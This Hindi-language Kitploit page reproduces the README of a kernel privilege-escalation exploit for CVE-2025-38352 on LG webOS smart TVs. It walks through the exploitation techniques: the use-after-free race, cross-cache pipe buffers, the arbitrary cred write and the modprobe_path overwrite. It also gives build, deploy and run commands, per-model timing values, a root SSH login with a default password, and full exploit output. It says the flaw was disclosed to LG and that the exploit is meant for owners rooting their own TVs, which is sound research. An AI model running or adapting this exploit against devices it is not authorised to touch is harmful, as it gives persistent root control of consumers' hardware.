Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
chronomaly-webos — CVE-2025-38352 LG webOS स्मार्ट टीवी (ARM64) के लिए कर्नेल शोषण। नवीन शोषण तकनीकों के साथ वास्तविक उपभोक्ता हार्डवेयर पर स्थायी रूट प्राप्त करता है। LG को जिम्मेदारी से खुलासा किया गया। | Kitploit
उपकरण/GitHubGitHub/analyticeth/chronomaly-webos
एम्बेडेड सिस्टम सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणहार्डवेयर सुरक्षालर्निंग और शिक्षाबाइनरी शोषण
GitHubanalyticeth/chronomaly-webos

chronomaly-webos

CVE-2025-38352 LG webOS स्मार्ट टीवी (ARM64) के लिए कर्नेल शोषण। नवीन शोषण तकनीकों के साथ वास्तविक उपभोक्ता हार्डवेयर पर स्थायी रूट प्राप्त करता है। LG को जिम्मेदारी से खुलासा किया गया।

रिपॉजिटरी देखें
1023 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Chronomaly — CVE-2025-38352 on LG webOS

CVE-2025-38352 के लिए कर्नेल शोषण (POSIX CPU टाइमर रेस कंडीशन / उपयोग-के-बाद-मुक्त) जो LG webOS स्मार्ट टीवी पर ARM64 पर कर्नेल 5.4.268 चलाने वाले स्थायी रूट प्राप्त करता है। कई फर्मवेयर संस्करणों में 4 टीवी मॉडलों पर सत्यापित। LG के सुरक्षा शोधकर्ता कार्यक्रम (फरवरी 2026) को जिम्मेदारी से प्रकट किया गया।

farazsth98 द्वारा Chronomaly पर निर्मित। स्टेज 1 UAF रेस तर्क और क्रॉस-कैश बुनियादी ढांचा ARM64 के लिए पोर्ट और अनुकूलित किया गया; स्टेज 2–5 को नवीन शोषण तकनीकों और वास्तविक-हार्डवेयर बाधाओं के समाधानों के साथ पुन: डिज़ाइन किया गया जो अनुकरणित वातावरण में मौजूद नहीं हैं। क्लॉड ओपस 4.6 की सहायता से विकसित।

पूर्ण भेद्यता विश्लेषण, शोषण श्रृंखला वॉकथ्रू और अनुशंसित शमन उपायों के लिए VULNERABILITY_REPORT.md देखें।

परिणाम

  • अविशेषित prisoner उपयोगकर्ता (uid=5038) से स्थायी कर्नेल रूट (uid=0)
  • 5 LG टीवी मॉडलों पर सत्यापित: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • फर्मवेयर संस्करण 33.22.65 – 33.30.97 (कर्नेल 5.4.268-320 और -329) में पुष्टि की गई
  • पूरी तरह से स्वचालित, मिनटों में पूरा होता है, होमब्रू चैनल एलिवेशन के माध्यम से रीबूट पर बचा रहता है
  • LG सुरक्षा शोधकर्ता कार्यक्रम को रिपोर्ट किया गया (7 फरवरी, 2026)

अस्वीकरण

यह शोषण जिम्मेदार सुरक्षा अनुसंधान के भाग के रूप में विकसित किया गया था और 7 फरवरी, 2026 को LG के सुरक्षा शोधकर्ता कार्यक्रम को रिपोर्ट किया गया। यह केवल शैक्षिक उद्देश्यों के लिए प्रकाशित किया गया है। जिम्मेदारी से उपयोग करें और केवल अपने स्वामित्व वाले उपकरणों पर। लेखक इस सॉफ्टवेयर के उपयोग से होने वाली किसी भी क्षति, ब्रिकिंग, डेटा हानि या वारंटी रद्द होने के लिए जिम्मेदार नहीं हैं। यह सॉफ्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया गया है।

नवीन तकनीकें

1. पुन: डिज़ाइन किया गया राइट प्रिमिटिव

मूल का मनमाना घटाव धीमा और शोरगुल वाला है: यह फोर्क किए गए प्रक्रियाओं के माध्यम से 1,000 struct cred ऑब्जेक्ट स्प्रे करता है, फिर लक्ष्य cred के EUID फ़ील्ड को N बार घटाता है। प्रत्येक घटाव एक अलग ऑपरेशन है। यह QEMU में स्वीकार्य है जहाँ टाइमिंग क्षमाशील है, लेकिन वास्तविक हार्डवेयर पर अविश्वसनीय है जहाँ इंटरप्ट-चालित पृष्ठ पुनर्प्राप्ति ऑपरेशनों के बीच पाइप बफर पेज चुरा सकती है।

इसे list_del_init() के माध्यम से एकल मनमाना लेखन से बदल दिया गया। शोषण UAF'd sigqueue के list_head.next और list_head.prev पॉइंटर्स को पाइप बफर के माध्यम से ओवरराइट करता है। जब कर्नेल लंबित सिग्नल को डी-क्यू करता है (collect_signal() → list_del_init()), यह prev->next = next (नकली cred पता task_struct->cred में लिखता है) और next->prev = prev (नियंत्रित साइड-इफेक्ट लेखन) करता है। एक लेखन प्रक्रिया के cred पॉइंटर को एक नकली cred संरचना के पॉइंटर से बदल देता है जिसमें सभी-शून्य uid/gid फ़ील्ड होते हैं। कोई cred स्प्रे नहीं, कोई फोर्क की गई प्रक्रिया नहीं, नियतात्मक।

2. अविनाशी पढ़ने के लिए tee() के माध्यम से peek_pipe()

मूल पूरे शोषण में पाइप बफर पर विनाशकारी read() कॉल का उपयोग करता है। QEMU में, यह ठीक काम करता है क्योंकि ऑपरेशनों के बीच पेज चोरी नहीं होते। 4 भौतिक कोर वाले वास्तविक हार्डवेयर पर, कर्नेल की प्रति-CPU पृष्ठ सूची (pcplist) आक्रामक रूप से मुक्त किए गए पृष्ठों को पुनः प्राप्त करती है। एक विनाशकारी रीड पाइप बफर के बैकिंग पृष्ठ को मुक्त कर देता है, जिसे शोषण के पुनः आवंटित करने से पहले एक हार्डवेयर इंटरप्ट द्वारा तुरंत चुराया जा सकता है।

समाधान tee() का उपयोग करके एक अविनाशी पाइप रीड प्रिमिटिव है। tee() syscall दो पाइपों के बीच पाइप डेटा को उपभोग किए बिना डुप्लिकेट करता है, मूल पाइप बफर के बैकिंग पृष्ठ को पिन किए रखता है। यह शोषण को क्रॉस-कैश किए गए पाइप बफर से कर्नेल डेटा को बार-बार पढ़ने की अनुमति देता है बिना पृष्ठ खोने के जोखिम के। यह वास्तविक हार्डवेयर पर विश्वसनीयता के लिए महत्वपूर्ण था।

3. दूसरे क्रॉस-कैश किए गए पाइप बफर में नकली क्रेड

मूल cred ऑब्जेक्ट स्प्रे करता है और एक अनुमानित स्थान पर उतरने की उम्मीद करता है। यह संस्करण ज्ञात पते पर नकली cred संरचना का निर्माण दूसरा क्रॉस-कैश करके करता है: एक नया sigqueue आवंटित करें (tkill(SIGRTMIN+1) के माध्यम से), इसका पता पहले पाइप बफर के हीप लीक से जानें, फिर उस sigqueue के स्लैब पृष्ठ को दूसरे पाइप बफर में क्रॉस-कैश करें। नकली cred दूसरे पाइप बफर में लीक किए गए sigqueue पते के सटीक पृष्ठ ऑफ़सेट पर लिखा जाता है। परिणाम एक नियतात्मक कर्नेल वर्चुअल पते पर एक नकली cred है जिसमें कोई अनुमान नहीं है।

4. SIGUSR2 को अंतिम लेखन ट्रिगर के रूप में लंबित रखा गया

मूल UAF sigqueue का पता लीक करने के लिए स्टेज 2 में जल्दी SIGUSR2 को डी-क्यू करता है। यह सिग्नल को उपभोग करता है, इसलिए मूल को अंतिम लेखन के लिए एक अलग तंत्र की आवश्यकता होती है। यह संस्करण कभी भी UAF sigqueue के अपने पते की आवश्यकता नहीं रखता (हीप लीक पाइप बफर में आसन्न sigqueue पॉइंटर्स से आता है)। SIGUSR2 को सभी पांच चरणों में लंबित रखा जाता है और इसके डी-क्यू को अंतिम मनमाना लेखन ट्रिगर के रूप में उपयोग किया जाता है। जिस सिग्नल ने UAF बनाया वही वह सिग्नल है जिसके डी-क्यू का इसका शोषण करता है।

5. modprobe_path + socket(44) एस्केलेशन

नकली cred संरचना में NULL user_ns, user, और group_info पॉइंटर्स हैं (क्योंकि पाइप बफर uid/gid फ़ील्ड से परे शून्य-आरंभिक है)। setresuid(), fork(), या exec() को कॉल करने से ये NULL पॉइंटर्स डीरेफ़रेंस हो जाएंगे और कर्नेल पैनिक हो जाएगा। मूल इससे बचता है क्योंकि इसका cred स्प्रे वास्तविक cred ऑब्जेक्ट्स का उपयोग करता है जिनमें मान्य पॉइंटर्स होते हैं।

समाधान: /proc/sys/kernel/modprobe को एक पेलोड स्क्रिप्ट (/tmp/pwn) को इंगित करने के लिए ओवरराइट करें, फिर socket(44, SOCK_STREAM, 0) के माध्यम से call_usermodehelper ट्रिगर करें (एक गैर-मौजूद प्रोटोकॉल परिवार का अनुरोध करते हुए)। कर्नेल modprobe हेल्पर को init_cred (कर्नेल के अपने रूट क्रेडेंशियल्स, पूरी तरह से मान्य) के साथ निष्पादित करता है, जो भ्रष्ट cred को पूरी तरह से बायपास करता है। पेलोड पूर्ण रूट के रूप में चलता है और मनमाना संचालन कर सकता है।

6. वास्तविक-हार्डवेयर टाइमिंग सुरक्षा

स्टेज 4 में महत्वपूर्ण विंडो (पाइप बफर में दुर्भावनापूर्ण पॉइंटर्स लिखना, फिर सिग्नल डी-क्यू ट्रिगर करना) हार्डवेयर इंटरप्ट के लिए पाइप बफर पृष्ठ को प्रति-CPU पृष्ठ सूची से चुराने के लिए कमजोर है। यह QEMU में नहीं होता है। वास्तविक हार्डवेयर पर, इस विंडो को SCHED_FIFO प्राथमिकता (जब उपलब्ध हो) और sched_yield() के साथ संरक्षित किया जाता है ताकि महत्वपूर्ण खंड में प्रवेश करने से पहले CPU पर लंबित कार्य पूरा हो सके, साथ ही लेखन और ट्रिगर के बीच के समय को कम करने के लिए पहले से तैयार बफर सामग्री। शोषण तब भी सुचारू रूप से विफल हो जाता है जब SCHED_FIFO अनुपलब्ध हो (जैसे webOS पर जहाँ prisoner उपयोगकर्ता के पास CAP_SYS_NICE नहीं है)।

7. ARM64 task_struct ऑफ़सेट रिवर्स इंजीनियरिंग

मनमाना लेखन task_struct->cred को लक्षित करता है, जिसके लिए task_struct->pending (जिसका पता पाइप बफर से लीक होता है) से task_struct->cred तक बाइट ऑफ़सेट जानना आवश्यक है। यह ऑफ़सेट कर्नेल-कॉन्फ़िगर-निर्भर है। 0x80 (128 बाइट) ऑफ़सेट की गणना LG webOS कर्नेल स्रोत से मैन्युअल रूप से की गई, जिसमें CONFIG_KEYS=y, CONFIG_SYSVIPC=y, और ARM64-विशिष्ट स्ट्रक्ट लेआउट और संरेखण को ध्यान में रखा गया। मूल में x86_64 ऑफ़सेट अलग है क्योंकि अलग स्ट्रक्ट पैकिंग और कॉन्फ़िगर विकल्प हैं।


यह क्या करता है

सफलता पर, शोषण:

  1. UAF → क्रॉस-कैश → मनमाना लेखन (cred ओवरराइट) के माध्यम से कर्नेल रूट प्राप्त करता है
  2. /proc/sys/kernel/modprobe को init के रूप में एक रूटिंग पेलोड चलाने के लिए ओवरराइट करता है
  3. पेलोड होमब्रू चैनल स्थापित और एलिवेट करता है और डेव मोड ऐप को हटा देता है
  4. रीबूट के बाद, होमब्रू चैनल पोर्ट 22 पर स्थायी रूट SSH प्रदान करता है

त्वरित प्रारंभ

आवश्यक शर्तें

  • कर्नेल 5.4.268 (ARM64) वाला LG webOS टीवी
  • टीवी पर डेव मोड सक्षम (पोर्ट 9922 पर SSH पहुंच)
  • ARM64 क्रॉस-कंपाइलर (aarch64-linux-gnu-gcc)
  • होमब्रू चैनल IPK — webosbrew रिलीज़ से डाउनलोड करें

क्रॉस-कंपाइलर स्थापित करें

root@kitploit:~
# macOS (थर्ड-पार्टी टैप आवश्यक)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

अनुशंसित: पहले होमब्रू चैनल स्थापित करें

शोषण चलाने से पहले डेव मोड के माध्यम से अपने टीवी पर होमब्रू चैनल ऐप स्थापित करें। इस तरह रूटिंग पेलोड को केवल इसे एलिवेट करने की आवश्यकता होगी (तेज़, विश्वसनीय) बजाय स्थापित + एलिवेट (धीमा, विफल हो सकता है)। आप ares-install या डेव मैनेजर ऐप का उपयोग करके इसे साइडलोड कर सकते हैं:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

यदि HBC पूर्व-स्थापित नहीं है, तो शोषण /tmp/hbchannel.ipk (जो deploy-webos.sh द्वारा तैनात किया गया है) से इसे स्थापित करने का प्रयास करेगा, लेकिन यह अतिरिक्त चरण जोड़ता है जो विफल हो सकते हैं।

बिल्ड, तैनात, चलाएँ

root@kitploit:~
# 1. अपने टीवी का IP और SSH कुंजी सेट करें
#    आपके टीवी का IP सेटिंग्स > नेटवर्क > वाई-फाई > उन्नत सेटिंग्स में है
#    SSH कुंजी LG डेवलपर मोड ऐप द्वारा उत्पन्न होती है — डेव मैनेजर या ares-setup-device द्वारा डाउनलोड की गई कुंजी देखें (आमतौर पर webos_rsa नाम की)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. बिल्ड और तैनात (deploy-webos.sh स्वचालित रूप से बिल्ड को संभालता है)
./deploy-webos.sh

# 3. कनेक्ट करें और चलाएँ
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

पर्यावरण चर

ट्यूनिंग

शोषण कमांड-लाइन तर्कों के रूप में टाइमिंग पैरामीटर स्वीकार करता है:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

यदि कोई तर्क प्रदान नहीं किया जाता है, तो संकलित डिफ़ॉल्ट का उपयोग किया जाता है (DELAY=31000, DELTA=50, THRESHOLD=3000)। यदि DELAY प्रदान किया गया है लेकिन DELTA नहीं, तो DELTA स्वचालित रूप से DELAY / 600 के रूप में गणना की जाती है (निकटतम 5 तक गोल)।

ज्ञात अच्छे मान

नए टीवी के लिए मान खोजना

शोषण आउटपुट देखें और DELAY समायोजित करें:

root@kitploit:~
Parent raced too late   → DELAY घटाएँ
Parent raced too early  → DELAY बढ़ाएँ

जब दोनों संदेश दिखाई दें, तो टाइमिंग करीब है — चलते रहें और शोषण अंततः रेस विंडो को हिट करेगा। संकलित डिफ़ॉल्ट (31000) से शुरू करें और वहाँ से समायोजित करें।

रूट के बाद

  1. शोषण /tmp/pwn समाप्त होने की प्रतीक्षा करेगा — यह अक्सर टाइम आउट होता है (यह सामान्य है)। यदि आवश्यक हो तो पेलोड पूरा हुआ या नहीं, मैन्युअल रूप से सत्यापित करने के लिए /tmp/pwn.log जाँचें।
  2. टीवी को रीबूट करें
  3. रीबूट के बाद, होमब्रू चैनल पोर्ट 22 पर SSH प्रदान करता है:
    root@kitploit:~
    ssh root@<TV_IP>
    # पासवर्ड: alpine
    

नमूना आउटपुट

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
पूर्ण आउटपुट (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

लाइसेंस

मूल योगदान MIT-लाइसेंस प्राप्त हैं। Chronomaly से farazsth98 द्वारा प्राप्त भाग MIT अनुदान से बाहर रखे गए हैं क्योंकि अपस्ट्रीम प्रोजेक्ट बिना स्पष्ट लाइसेंस के प्रकाशित किया गया था। विवरण के लिए LICENSE देखें।

संदर्भ

  • CVE-2025-38352 — सितंबर 2025 Android सुरक्षा बुलेटिन (जंगली में शोषित)
  • Chronomaly — farazsth98 द्वारा मूल शोषण (x86_64/QEMU)
  • भाग 1 — जंगली में Android कर्नेल भेद्यता विश्लेषण + PoC
  • भाग 2 — कर्नेल पैच के बिना रेस विंडो का विस्तार
  • भाग 3 — Chronomaly का अनावरण
  • होमब्रू चैनल
टूल डाउनलोड करें
चरडिफ़ॉल्टविवरण
WEBOS_IP192.168.1.100टीवी IP पता
WEBOS_PORT9922SSH पोर्ट
WEBOS_USERprisonerSSH उपयोगकर्ता
WEBOS_KEY$HOME/.ssh/webos_rsaSSH कुंजी पथ
टीवी मॉडलOTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000